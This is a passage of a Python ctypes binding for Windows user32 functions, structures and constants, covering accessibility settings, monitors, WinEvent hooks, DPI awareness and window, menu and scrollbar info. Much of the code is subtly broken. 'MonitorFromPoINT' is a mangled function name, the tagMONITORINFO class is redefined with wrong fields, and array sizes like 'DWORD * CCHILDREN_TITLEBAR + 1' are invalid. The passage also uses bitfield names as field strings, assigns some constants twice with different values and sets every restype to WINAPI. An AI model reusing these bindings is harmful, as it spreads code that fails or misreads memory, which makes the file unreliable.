('iTimeToMaxSpeed', DWORD),\n ('iCtrlSpeed', DWORD),\n ('dwReserved1', DWORD),\n ('dwReserved2', DWORD),\n ]\n\n\nMOUSEKEYS = tagMOUSEKEYS\nLPMOUSEKEYS = POINTER(tagMOUSEKEYS)\n\n\nMKF_MOUSEKEYSON = 0x00000001\nMKF_AVAILABLE = 0x00000002\nMKF_HOTKEYACTIVE = 0x00000004\nMKF_CONFIRMHOTKEY = 0x00000008\nMKF_HOTKEYSOUND = 0x00000010\nMKF_INDICATOR = 0x00000020\nMKF_MODIFIERS = 0x00000040\nMKF_REPLACENUMBERS = 0x00000080\nMKF_LEFTBUTTONSEL = 0x10000000\nMKF_RIGHTBUTTONSEL = 0x20000000\nMKF_LEFTBUTTONDOWN = 0x01000000\nMKF_RIGHTBUTTONDOWN = 0x02000000\nMKF_MOUSEMODE = 0x80000000\n\nclass tagACCESSTIMEOUT(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iTimeOutMSec', DWORD),\n ]\n\n\nACCESSTIMEOUT = tagACCESSTIMEOUT\nLPACCESSTIMEOUT = POINTER(tagACCESSTIMEOUT)\n\n\nATF_TIMEOUTON = 0x00000001\nATF_ONOFFFEEDBACK = 0x00000002\nSSGF_NONE = 0x00000000\nSSGF_DISPLAY = 0x00000003\nSSTF_NONE = 0x00000000\nSSTF_CHARS = 0x00000001\nSSTF_BORDER = 0x00000002\nSSTF_DISPLAY = 0x00000003\nSSWF_NONE = 0x00000000\nSSWF_TITLE = 0x00000001\nSSWF_WINDOW = 0x00000002\nSSWF_DISPLAY = 0x00000003\nSSWF_CUSTOM = 0x00000004\n\nclass tagSOUNDSENTRYA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iFSTextEffect', DWORD),\n ('iFSTextEffectMSec', DWORD),\n ('iFSTextEffectColorBits', DWORD),\n ('iFSGrafEffect', DWORD),\n ('iFSGrafEffectMSec', DWORD),\n ('iFSGrafEffectColor', DWORD),\n ('iWindowsEffect', DWORD),\n ('iWindowsEffectMSec', DWORD),\n ('lpszWindowsEffectDLL', LPSTR),\n ('iWindowsEffectOrdinal', DWORD),\n ]\n\n\nSOUNDSENTRYA = tagSOUNDSENTRYA\nLPSOUNDSENTRYA = POINTER(tagSOUNDSENTRYA)\n\n\n\nclass tagSOUNDSENTRYW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iFSTextEffect', DWORD),\n ('iFSTextEffectMSec', DWORD),\n ('iFSTextEffectColorBits', DWORD),\n ('iFSGrafEffect', DWORD),\n ('iFSGrafEffectMSec', DWORD),\n ('iFSGrafEffectColor', DWORD),\n ('iWindowsEffect', DWORD),\n ('iWindowsEffectMSec', DWORD),\n ('lpszWindowsEffectDLL', LPWSTR),\n ('iWindowsEffectOrdinal', DWORD),\n ]\n\n\nSOUNDSENTRYW = tagSOUNDSENTRYW\nLPSOUNDSENTRYW = POINTER(tagSOUNDSENTRYW)\n\n\nSOUNDSENTRY = SOUNDSENTRYW\nLPSOUNDSENTRY = LPSOUNDSENTRYW\nSSF_SOUNDSENTRYON = 0x00000001\nSSF_AVAILABLE = 0x00000002\nSSF_INDICATOR = 0x00000004\n\n# WINAPI\n# SoundSentry(VOID);\nSoundSentry = user32.SoundSentry\nSoundSentry.restype = WINAPI\n\n\nclass tagTOGGLEKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ]\n\n\nTOGGLEKEYS = tagTOGGLEKEYS\nLPTOGGLEKEYS = POINTER(tagTOGGLEKEYS)\n\n\nTKF_TOGGLEKEYSON = 0x00000001\nTKF_AVAILABLE = 0x00000002\nTKF_HOTKEYACTIVE = 0x00000004\nTKF_CONFIRMHOTKEY = 0x00000008\nTKF_HOTKEYSOUND = 0x00000010\nTKF_INDICATOR = 0x00000020\n\nclass tagAUDIODESCRIPTION(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('Enabled', BOOL),\n ('Locale', LCID),\n ]\n\n\nAUDIODESCRIPTION = tagAUDIODESCRIPTION\nLPAUDIODESCRIPTION = POINTER(tagAUDIODESCRIPTION)\n\n\n\n# WINAPI\n# SetDebugErrorLevel(\n# _In_ DWORD dwLevel);\nSetDebugErrorLevel = user32.SetDebugErrorLevel\nSetDebugErrorLevel.restype = WINAPI\n\nSLE_ERROR = 0x00000001\nSLE_MINORERROR = 0x00000002\nSLE_WARNING = 0x00000003\n\n# WINAPI\n# SetLastErrorEx(\n# _In_ DWORD dwErrCode,\n# _In_ DWORD dwType);\nSetLastErrorEx = user32.SetLastErrorEx\nSetLastErrorEx.restype = WINAPI\n\n\n# WINAPI\n# InternalGetWindowText(\n# _In_ HWND hWnd,\n# _Out_writes_to_(cchMaxCount, return + 1) LPWSTR pString,\n# _In_ INT cchMaxCount);\nInternalGetWindowText = user32.InternalGetWindowText\nInternalGetWindowText.restype = WINAPI\n\n\n# WINAPI\n# EndTask(\n# _In_ HWND hWnd,\n# _In_ BOOL fShutDown,\n# _In_ BOOL fForce);\nEndTask = user32.EndTask\nEndTask.restype = WINAPI\n\n\n# WINAPI\n# CancelShutdown(\n# VOID);\nCancelShutdown = user32.CancelShutdown\nCancelShutdown.restype = WINAPI\n\nMONITOR_DEFAULTTONULL = 0x00000000\nMONITOR_DEFAULTTOPRIMARY = 0x00000001\nMONITOR_DEFAULTTONEAREST = 0x00000002\n\n# WINAPI\n# MonitorFromPoINT(\n# _In_ POINT pt,\n# _In_ DWORD dwFlags);\nMonitorFromPoINT = user32.MonitorFromPoINT\nMonitorFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# MonitorFromRect(\n# _In_ LPCRECT lprc,\n# _In_ DWORD dwFlags);\nMonitorFromRect = user32.MonitorFromRect\nMonitorFromRect.restype = WINAPI\n\n\n# WINAPI\n# MonitorFromWindow(\n# _In_ HWND hwnd,\n# _In_ DWORD dwFlags);\nMonitorFromWindow = user32.MonitorFromWindow\nMonitorFromWindow.restype = WINAPI\n\nMONITORINFOF_PRIMARY = 0x00000001\nCCHDEVICENAME = 0x00000020\n\nclass tagMONITORINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcMonitor', RECT),\n ('rcWork', RECT),\n ('dwFlags', DWORD),\n ]\n\n\nMONITORINFO = tagMONITORINFO\nLPMONITORINFO = POINTER(tagMONITORINFO)\n\n\n\nclass tagMONITORINFO(ctypes.Structure):\n _fields_ = [\n ('szDevice', CHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXA = tagMONITORINFO\nLPMONITORINFOEXA = POINTER(tagMONITORINFO)\n\n\n\nclass tagMONITORINFO(ctypes.Structure):\n _fields_ = [\n ('szDevice', WCHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXW = tagMONITORINFO\nLPMONITORINFOEXW = POINTER(tagMONITORINFO)\n\n\nMONITORINFOEX = MONITORINFOEXW\nLPMONITORINFOEX = LPMONITORINFOEXW\n\nclass tagMONITORINFOEXA(ctypes.Structure):\n _fields_ = [\n ('DUMMYSTRUCTNAME', MONITORINFO),\n ('szDevice', CHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXA = tagMONITORINFOEXA\nLPMONITORINFOEXA = POINTER(tagMONITORINFOEXA)\n\n\n\nclass tagMONITORINFOEXW(ctypes.Structure):\n _fields_ = [\n ('DUMMYSTRUCTNAME', MONITORINFO),\n ('szDevice', WCHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXW = tagMONITORINFOEXW\nLPMONITORINFOEXW = POINTER(tagMONITORINFOEXW)\n\n\nMONITORINFOEX = MONITORINFOEXW\nLPMONITORINFOEX = LPMONITORINFOEXW\n\n# WINAPI\n# GetMonitorInfoA(\n# _In_ HMONITOR hMonitor,\n# _Inout_ LPMONITORINFO lpmi);\nGetMonitorInfoA = user32.GetMonitorInfoA\nGetMonitorInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetMonitorInfoW(\n# _In_ HMONITOR hMonitor,\n# _Inout_ LPMONITORINFO lpmi);\nGetMonitorInfoW = user32.GetMonitorInfoW\nGetMonitorInfoW.restype = WINAPI\n\nGetMonitorInfo = GetMonitorInfoW\n# GetMonitorInfo = GetMonitorInfoA\n\nMONITORENUMPROC = CALLBACK(BOOL, HMONITOR, HDC, LPRECT, LPARAM);\n\n# WINAPI\n# EnumDisplayMonitors(\n# _In_opt_ HDC hdc,\n# _In_opt_ LPCRECT lprcClip,\n# _In_ MONITORENUMPROC lpfnEnum,\n# _In_ LPARAM dwData);\nEnumDisplayMonitors = user32.EnumDisplayMonitors\nEnumDisplayMonitors.restype = WINAPI\n\n\n# WINAPI\n# NotifyWinEvent(\n# _In_ DWORD event,\n# _In_ HWND hwnd,\n# _In_ LONG idObject,\n# _In_ LONG idChild);\nNotifyWinEvent = user32.NotifyWinEvent\nNotifyWinEvent.restype = WINAPI\n\n\n# WINAPI\n# SetWinEventHook(\n# _In_ DWORD eventMin,\n# _In_ DWORD eventMax,\n# _In_opt_ HMODULE hmodWinEventProc,\n# _In_ WINEVENTPROC pfnWinEventProc,\n# _In_ DWORD idProcess,\n# _In_ DWORD idThread,\n# _In_ DWORD dwFlags);\nSetWinEventHook = user32.SetWinEventHook\nSetWinEventHook.restype = WINAPI\n\n\n# WINAPI\n# IsWinEventHookInstalled(\n# _In_ DWORD event);\nIsWinEventHookInstalled = user32.IsWinEventHookInstalled\nIsWinEventHookInstalled.restype = WINAPI\n\nWINEVENT_OUTOFCONTEXT = 0x00000000\nWINEVENT_SKIPOWNTHREAD = 0x00000001\nWINEVENT_SKIPOWNPROCESS = 0x00000002\nWINEVENT_INCONTEXT = 0x00000004\n\n# WINAPI\n# UnhookWinEvent(\n# _In_ HWINEVENTHOOK hWinEventHook);\nUnhookWinEvent = user32.UnhookWinEvent\nUnhookWinEvent.restype = WINAPI\n\nCHILDID_SELF = 0x00000000\nINDEXID_OBJECT = 0x00000000\nINDEXID_CONTAINER = 0x00000000\nOBJID_WINDOW = 0x00000000\nOBJID_SYSMENU = 0xFFFFFFFF\nOBJID_TITLEBAR = 0xFFFFFFFE\nOBJID_MENU = 0xFFFFFFFD\nOBJID_CLIENT = 0xFFFFFFFC\nOBJID_VSCROLL = 0xFFFFFFFB\nOBJID_HSCROLL = 0xFFFFFFFA\nOBJID_SIZEGRIP = 0xFFFFFFF9\nOBJID_CARET = 0xFFFFFFF8\nOBJID_CURSOR = 0xFFFFFFF7\nOBJID_ALERT = 0xFFFFFFF6\nOBJID_SOUND = 0xFFFFFFF5\nOBJID_QUERYCLASSNAMEIDX = 0xFFFFFFF4\nOBJID_NATIVEOM = 0xFFFFFFF0\nEVENT_MIN = 0x00000001\nEVENT_MAX = 0x7FFFFFFF\nEVENT_SYSTEM_SOUND = 0x00000001\nEVENT_SYSTEM_ALERT = 0x00000002\nEVENT_SYSTEM_FOREGROUND = 0x00000003\nEVENT_SYSTEM_MENUSTART = 0x00000004\nEVENT_SYSTEM_MENUEND = 0x00000005\nEVENT_SYSTEM_MENUPOPUPSTART = 0x00000006\nEVENT_SYSTEM_MENUPOPUPEND = 0x00000007\nEVENT_SYSTEM_CAPTURESTART = 0x00000008\nEVENT_SYSTEM_CAPTUREEND = 0x00000009\nEVENT_SYSTEM_MOVESIZESTART = 0x0000000A\nEVENT_SYSTEM_MOVESIZEEND = 0x0000000B\nEVENT_SYSTEM_CONTEXTHELPSTART = 0x0000000C\nEVENT_SYSTEM_CONTEXTHELPEND = 0x0000000D\nEVENT_SYSTEM_DRAGDROPSTART = 0x0000000E\nEVENT_SYSTEM_DRAGDROPEND = 0x0000000F\nEVENT_SYSTEM_DIALOGSTART = 0x00000010\nEVENT_SYSTEM_DIALOGEND = 0x00000011\nEVENT_SYSTEM_SCROLLINGSTART = 0x00000012\nEVENT_SYSTEM_SCROLLINGEND = 0x00000013\nEVENT_SYSTEM_SWITCHSTART = 0x00000014\nEVENT_SYSTEM_SWITCHEND = 0x00000015\nEVENT_SYSTEM_MINIMIZESTART = 0x00000016\nEVENT_SYSTEM_MINIMIZEEND = 0x00000017\nEVENT_SYSTEM_DESKTOPSWITCH = 0x00000020\nEVENT_SYSTEM_SWITCHER_APPGRABBED = 0x00000024\nEVENT_SYSTEM_SWITCHER_APPOVERTARGET = 0x00000025\nEVENT_SYSTEM_SWITCHER_APPDROPPED = 0x00000026\nEVENT_SYSTEM_SWITCHER_CANCELLED = 0x00000027\nEVENT_SYSTEM_IME_KEY_NOTIFICATION = 0x00000029\nEVENT_SYSTEM_END = 0x000000FF\nEVENT_OEM_DEFINED_START = 0x00000101\nEVENT_OEM_DEFINED_END = 0x000001FF\nEVENT_UIA_EVENTID_START = 0x00004E00\nEVENT_UIA_EVENTID_END = 0x00004EFF\nEVENT_UIA_PROPID_START = 0x00007500\nEVENT_UIA_PROPID_END = 0x000075FF\nEVENT_CONSOLE_CARET = 0x00004001\nEVENT_CONSOLE_UPDATE_REGION = 0x00004002\nEVENT_CONSOLE_UPDATE_SIMPLE = 0x00004003\nEVENT_CONSOLE_UPDATE_SCROLL = 0x00004004\nEVENT_CONSOLE_LAYOUT = 0x00004005\nEVENT_CONSOLE_START_APPLICATION = 0x00004006\nEVENT_CONSOLE_END_APPLICATION = 0x00004007\nCONSOLE_APPLICATION_16BIT = 0x00000000\nCONSOLE_APPLICATION_16BIT = 0x00000001\nCONSOLE_CARET_SELECTION = 0x00000001\nCONSOLE_CARET_VISIBLE = 0x00000002\nEVENT_CONSOLE_END = 0x000040FF\nEVENT_OBJECT_CREATE = 0x00008000\nEVENT_OBJECT_DESTROY = 0x00008001\nEVENT_OBJECT_SHOW = 0x00008002\nEVENT_OBJECT_HIDE = 0x00008003\nEVENT_OBJECT_REORDER = 0x00008004\nEVENT_OBJECT_FOCUS = 0x00008005\nEVENT_OBJECT_SELECTION = 0x00008006\nEVENT_OBJECT_SELECTIONADD = 0x00008007\nEVENT_OBJECT_SELECTIONREMOVE = 0x00008008\nEVENT_OBJECT_SELECTIONWITHIN = 0x00008009\nEVENT_OBJECT_STATECHANGE = 0x0000800A\nEVENT_OBJECT_LOCATIONCHANGE = 0x0000800B\nEVENT_OBJECT_NAMECHANGE = 0x0000800C\nEVENT_OBJECT_DESCRIPTIONCHANGE = 0x0000800D\nEVENT_OBJECT_VALUECHANGE = 0x0000800E\nEVENT_OBJECT_PARENTCHANGE = 0x0000800F\nEVENT_OBJECT_HELPCHANGE = 0x00008010\nEVENT_OBJECT_DEFACTIONCHANGE = 0x00008011\nEVENT_OBJECT_ACCELERATORCHANGE = 0x00008012\nEVENT_OBJECT_INVOKED = 0x00008013\nEVENT_OBJECT_TEXTSELECTIONCHANGED = 0x00008014\nEVENT_OBJECT_CONTENTSCROLLED = 0x00008015\nEVENT_SYSTEM_ARRANGMENTPREVIEW = 0x00008016\nEVENT_OBJECT_CLOAKED = 0x00008017\nEVENT_OBJECT_UNCLOAKED = 0x00008018\nEVENT_OBJECT_LIVEREGIONCHANGED = 0x00008019\nEVENT_OBJECT_HOSTEDOBJECTSINVALIDATED = 0x00008020\nEVENT_OBJECT_DRAGSTART = 0x00008021\nEVENT_OBJECT_DRAGCANCEL = 0x00008022\nEVENT_OBJECT_DRAGCOMPLETE = 0x00008023\nEVENT_OBJECT_DRAGENTER = 0x00008024\nEVENT_OBJECT_DRAGLEAVE = 0x00008025\nEVENT_OBJECT_DRAGDROPPED = 0x00008026\nEVENT_OBJECT_IME_SHOW = 0x00008027\nEVENT_OBJECT_IME_HIDE = 0x00008028\nEVENT_OBJECT_IME_CHANGE = 0x00008029\nEVENT_OBJECT_TEXTEDIT_CONVERSIONTARGETCHANGED = 0x00008030\nEVENT_OBJECT_END = 0x000080FF\nEVENT_AIA_START = 0x0000A000\nEVENT_AIA_END = 0x0000AFFF\nSOUND_SYSTEM_STARTUP = 0x00000001\nSOUND_SYSTEM_SHUTDOWN = 0x00000002\nSOUND_SYSTEM_BEEP = 0x00000003\nSOUND_SYSTEM_ERROR = 0x00000004\nSOUND_SYSTEM_QUESTION = 0x00000005\nSOUND_SYSTEM_WARNING = 0x00000006\nSOUND_SYSTEM_INFORMATION = 0x00000007\nSOUND_SYSTEM_MAXIMIZE = 0x00000008\nSOUND_SYSTEM_MINIMIZE = 0x00000009\nSOUND_SYSTEM_RESTOREUP = 0x0000000A\nSOUND_SYSTEM_RESTOREDOWN = 0x0000000B\nSOUND_SYSTEM_APPSTART = 0x0000000C\nSOUND_SYSTEM_FAULT = 0x0000000D\nSOUND_SYSTEM_APPEND = 0x0000000E\nSOUND_SYSTEM_MENUCOMMAND = 0x0000000F\nSOUND_SYSTEM_MENUPOPUP = 0x00000010\nCSOUND_SYSTEM = 0x00000010\nALERT_SYSTEM_INFORMATIONAL = 0x00000001\nALERT_SYSTEM_WARNING = 0x00000002\nALERT_SYSTEM_ERROR = 0x00000003\nALERT_SYSTEM_QUERY = 0x00000004\nALERT_SYSTEM_CRITICAL = 0x00000005\nCALERT_SYSTEM = 0x00000006\n\nclass tagGUITHREADINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('flags', DWORD),\n ('hwndActive', HWND),\n ('hwndFocus', HWND),\n ('hwndCapture', HWND),\n ('hwndMenuOwner', HWND),\n ('hwndMoveSize', HWND),\n ('hwndCaret', HWND),\n ('rcCaret', RECT),\n ]\n\n\nGUITHREADINFO = tagGUITHREADINFO\nPGUITHREADINFO = POINTER(tagGUITHREADINFO)\nLPGUITHREADINFO = POINTER(tagGUITHREADINFO)\n\n\nGUI_CARETBLINKING = 0x00000001\nGUI_INMOVESIZE = 0x00000002\nGUI_INMENUMODE = 0x00000004\nGUI_SYSTEMMENUMODE = 0x00000008\nGUI_POPUPMENUMODE = 0x00000010\nGUI_16BITTASK = 0x00000000\nGUI_16BITTASK = 0x00000020\n\n# WINAPI\n# GetGUIThreadInfo(\n# _In_ DWORD idThread,\n# _Inout_ PGUITHREADINFO pgui);\nGetGUIThreadInfo = user32.GetGUIThreadInfo\nGetGUIThreadInfo.restype = WINAPI\n\n\n# WINAPI\n# BlockInput(\n# BOOL fBlockIt);\nBlockInput = user32.BlockInput\nBlockInput.restype = WINAPI\n\nUSER_DEFAULT_SCREEN_DPI = 0x00000060\n\n# WINAPI\n# SetProcessDPIAware(\n# VOID);\nSetProcessDPIAware = user32.SetProcessDPIAware\nSetProcessDPIAware.restype = WINAPI\n\n\n# WINAPI\n# IsProcessDPIAware(\n# VOID);\nIsProcessDPIAware = user32.IsProcessDPIAware\nIsProcessDPIAware.restype = WINAPI\n\n\n# WINAPI\n# SetThreadDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT dpiContext);\nSetThreadDpiAwarenessContext = user32.SetThreadDpiAwarenessContext\nSetThreadDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetThreadDpiAwarenessContext(\n# VOID);\nGetThreadDpiAwarenessContext = user32.GetThreadDpiAwarenessContext\nGetThreadDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetWindowDpiAwarenessContext(\n# _In_ HWND hwnd);\nGetWindowDpiAwarenessContext = user32.GetWindowDpiAwarenessContext\nGetWindowDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetAwarenessFromDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nGetAwarenessFromDpiAwarenessContext = (\n user32.GetAwarenessFromDpiAwarenessContext\n)\nGetAwarenessFromDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetDpiFromDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nGetDpiFromDpiAwarenessContext = user32.GetDpiFromDpiAwarenessContext\nGetDpiFromDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# AreDpiAwarenessContextsEqual(\n# _In_ DPI_AWARENESS_CONTEXT dpiContextA,\n# _In_ DPI_AWARENESS_CONTEXT dpiContextB);\nAreDpiAwarenessContextsEqual = user32.AreDpiAwarenessContextsEqual\nAreDpiAwarenessContextsEqual.restype = WINAPI\n\n\n# WINAPI\n# IsValidDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nIsValidDpiAwarenessContext = user32.IsValidDpiAwarenessContext\nIsValidDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetDpiForWindow(\n# _In_ HWND hwnd);\nGetDpiForWindow = user32.GetDpiForWindow\nGetDpiForWindow.restype = WINAPI\n\n\n# WINAPI\n# GetDpiForSystem(\n# VOID);\nGetDpiForSystem = user32.GetDpiForSystem\nGetDpiForSystem.restype = WINAPI\n\n\n# WINAPI\n# GetSystemDpiForProcess(\n# _In_ HANDLE hProcess);\nGetSystemDpiForProcess = user32.GetSystemDpiForProcess\nGetSystemDpiForProcess.restype = WINAPI\n\n\n# WINAPI\n# EnableNonClientDpiScaling(\n# _In_ HWND hwnd);\nEnableNonClientDpiScaling = user32.EnableNonClientDpiScaling\nEnableNonClientDpiScaling.restype = WINAPI\n\n\n# WINAPI\n# InheritWindowMonitor(\n# _In_ HWND hwnd,\n# _In_opt_ HWND hwndInherit);\nInheritWindowMonitor = user32.InheritWindowMonitor\nInheritWindowMonitor.restype = WINAPI\n\n\n# WINAPI\n# SetProcessDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nSetProcessDpiAwarenessContext = user32.SetProcessDpiAwarenessContext\nSetProcessDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# SetThreadDpiHostingBehavior(\n# _In_ DPI_HOSTING_BEHAVIOR value);\nSetThreadDpiHostingBehavior = user32.SetThreadDpiHostingBehavior\nSetThreadDpiHostingBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetThreadDpiHostingBehavior();\nGetThreadDpiHostingBehavior = user32.GetThreadDpiHostingBehavior\nGetThreadDpiHostingBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetWindowDpiHostingBehavior(\n# _In_ HWND hwnd);\nGetWindowDpiHostingBehavior = user32.GetWindowDpiHostingBehavior\nGetWindowDpiHostingBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetWindowModuleFileNameA(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchFileNameMax, return) LPSTR pszFileName,\n# _In_ UINT cchFileNameMax);\nGetWindowModuleFileNameA = user32.GetWindowModuleFileNameA\nGetWindowModuleFileNameA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowModuleFileNameW(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchFileNameMax, return) LPWSTR pszFileName,\n# _In_ UINT cchFileNameMax);\nGetWindowModuleFileNameW = user32.GetWindowModuleFileNameW\nGetWindowModuleFileNameW.restype = WINAPI\n\nGetWindowModuleFileName = GetWindowModuleFileNameW\n# GetWindowModuleFileName = GetWindowModuleFileNameA\nSTATE_SYSTEM_UNAVAILABLE = 0x00000001\nSTATE_SYSTEM_SELECTED = 0x00000002\nSTATE_SYSTEM_FOCUSED = 0x00000004\nSTATE_SYSTEM_PRESSED = 0x00000008\nSTATE_SYSTEM_CHECKED = 0x00000010\nSTATE_SYSTEM_MIXED = 0x00000020\nSTATE_SYSTEM_INDETERMINATE = STATE_SYSTEM_MIXED\nSTATE_SYSTEM_READONLY = 0x00000040\nSTATE_SYSTEM_HOTTRACKED = 0x00000080\nSTATE_SYSTEM_DEFAULT = 0x00000100\nSTATE_SYSTEM_EXPANDED = 0x00000200\nSTATE_SYSTEM_COLLAPSED = 0x00000400\nSTATE_SYSTEM_BUSY = 0x00000800\nSTATE_SYSTEM_FLOATING = 0x00001000\nSTATE_SYSTEM_MARQUEED = 0x00002000\nSTATE_SYSTEM_ANIMATED = 0x00004000\nSTATE_SYSTEM_INVISIBLE = 0x00008000\nSTATE_SYSTEM_OFFSCREEN = 0x00010000\nSTATE_SYSTEM_SIZEABLE = 0x00020000\nSTATE_SYSTEM_MOVEABLE = 0x00040000\nSTATE_SYSTEM_SELFVOICING = 0x00080000\nSTATE_SYSTEM_FOCUSABLE = 0x00100000\nSTATE_SYSTEM_SELECTABLE = 0x00200000\nSTATE_SYSTEM_LINKED = 0x00400000\nSTATE_SYSTEM_TRAVERSED = 0x00800000\nSTATE_SYSTEM_MULTISELECTABLE = 0x01000000\nSTATE_SYSTEM_EXTSELECTABLE = 0x02000000\nSTATE_SYSTEM_ALERT_LOW = 0x04000000\nSTATE_SYSTEM_ALERT_MEDIUM = 0x08000000\nSTATE_SYSTEM_ALERT_HIGH = 0x10000000\nSTATE_SYSTEM_PROTECTED = 0x20000000\nSTATE_SYSTEM_VALID = 0x3FFFFFFF\nCCHILDREN_TITLEBAR = 0x00000005\nCCHILDREN_SCROLLBAR = 0x00000005\n\nclass tagCURSORINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('flags', DWORD),\n ('hCursor', HCURSOR),\n ('ptScreenPos', POINT),\n ]\n\n\nCURSORINFO = tagCURSORINFO\nPCURSORINFO = POINTER(tagCURSORINFO)\nLPCURSORINFO = POINTER(tagCURSORINFO)\n\n\nCURSOR_SHOWING = 0x00000001\nCURSOR_SUPPRESSED = 0x00000002\n\n# WINAPI\n# GetCursorInfo(\n# _Inout_ PCURSORINFO pci);\nGetCursorInfo = user32.GetCursorInfo\nGetCursorInfo.restype = WINAPI\n\n\nclass tagWINDOWINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcWindow', RECT),\n ('rcClient', RECT),\n ('dwStyle', DWORD),\n ('dwExStyle', DWORD),\n ('dwWindowStatus', DWORD),\n ('cxWindowBorders', UINT),\n ('cyWindowBorders', UINT),\n ('atomWindowType', ATOM),\n ('wCreatorVersion', WORD),\n ]\n\n\nWINDOWINFO = tagWINDOWINFO\nPWINDOWINFO = POINTER(tagWINDOWINFO)\nLPWINDOWINFO = POINTER(tagWINDOWINFO)\n\n\nWS_ACTIVECAPTION = 0x00000001\n\n# WINAPI\n# GetWindowInfo(\n# _In_ HWND hwnd,\n# _Inout_ PWINDOWINFO pwi);\nGetWindowInfo = user32.GetWindowInfo\nGetWindowInfo.restype = WINAPI\n\n\nclass tagTITLEBARINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcTitleBar', RECT),\n ('rgstate', DWORD * CCHILDREN_TITLEBAR + 1),\n ]\n\n\nTITLEBARINFO = tagTITLEBARINFO\nPTITLEBARINFO = POINTER(tagTITLEBARINFO)\nLPTITLEBARINFO = POINTER(tagTITLEBARINFO)\n\n\n\n# WINAPI\n# GetTitleBarInfo(\n# _In_ HWND hwnd,\n# _Inout_ PTITLEBARINFO pti);\nGetTitleBarInfo = user32.GetTitleBarInfo\nGetTitleBarInfo.restype = WINAPI\n\n\nclass tagTITLEBARINFOEX(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcTitleBar', RECT),\n ('rgstate', DWORD * CCHILDREN_TITLEBAR + 1),\n ('rgrect', RECT * CCHILDREN_TITLEBAR + 1),\n ]\n\n\nTITLEBARINFOEX = tagTITLEBARINFOEX\nPTITLEBARINFOEX = POINTER(tagTITLEBARINFOEX)\nLPTITLEBARINFOEX = POINTER(tagTITLEBARINFOEX)\n\n\n\nclass tagMENUBARINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcBar', RECT),\n ('hMenu', HMENU),\n ('hwndMenu', HWND),\n ('fBarFocused:1', BOOL),\n ('fFocused:1', BOOL),\n ]\n\n\nMENUBARINFO = tagMENUBARINFO\nPMENUBARINFO = POINTER(tagMENUBARINFO)\nLPMENUBARINFO = POINTER(tagMENUBARINFO)\n\n\n\n# WINAPI\n# GetMenuBarInfo(\n# _In_ HWND hwnd,\n# _In_ LONG idObject,\n# _In_ LONG idItem,\n# _Inout_ PMENUBARINFO pmbi);\nGetMenuBarInfo = user32.GetMenuBarInfo\nGetMenuBarInfo.restype = WINAPI\n\n\nclass tagSCROLLBARINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcScrollBar', RECT),\n ('dxyLineButton', INT),\n ('xyThumbTop', INT),\n ('xyThumbBottom', INT),\n ('reserved', INT),\n ('rgstate', DWORD * CCHILDREN_SCROLLBAR + 1),\n ]\n\n\nSCROLLBARINFO = tagSCROLLBARINFO\nPSCROLLBARINFO = POINTER(tagSCROLLBARINFO)\nLPSCROLLBARINFO = POINTER(tagSCROLLBARINFO)\n\n\n\n# WINAPI\n# GetScrollBarInfo(\n# _In_ HWND hwnd,\n# _In_ LONG idObject,\n# _Inout_ PSCROLLBARINFO psbi);\nGetScrollBarInfo = user32.GetScrollBarInfo\nGetScrollBarInfo.restype = WINAPI\n\n\nclass tagCOMBOBOXINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcItem', RECT),\n ('rcButton', RECT),\n ('stateButton', DWORD),\n ('hwndCombo', HWND),\n ('hwndItem', HWND),\n ('hwndList', HWND),\n ]\n\n\nCOMBOBOXINFO = tagCOMBOBOXINFO\nPCOMBOBOXINFO = POINTER(tagCOMBOBOXINFO)\nLPCOMBOBOXINFO = POINTER(tagCOMBOBOXINFO)\n\n\n\n# WINAPI\n# GetComboBoxInfo(\n# _In_ HWND hwndCombo,\n# _Inout_ PCOMBOBOXINFO pcbi);\nGetComboBoxInfo = user32.GetComboBoxInfo\nGetComboBoxInfo.restype = WINAPI\n\nGA_PARENT = 0x00000001\nGA_ROOT = 0x00000002\nGA_ROOTOWNER = 0x00000003\n\n# WINAPI\n# GetAncestor(\n# _In_ HWND hwnd,\n# _In_ UINT gaFlags);\nGetAncestor = user32.GetAncestor\nGetAncestor.restype = 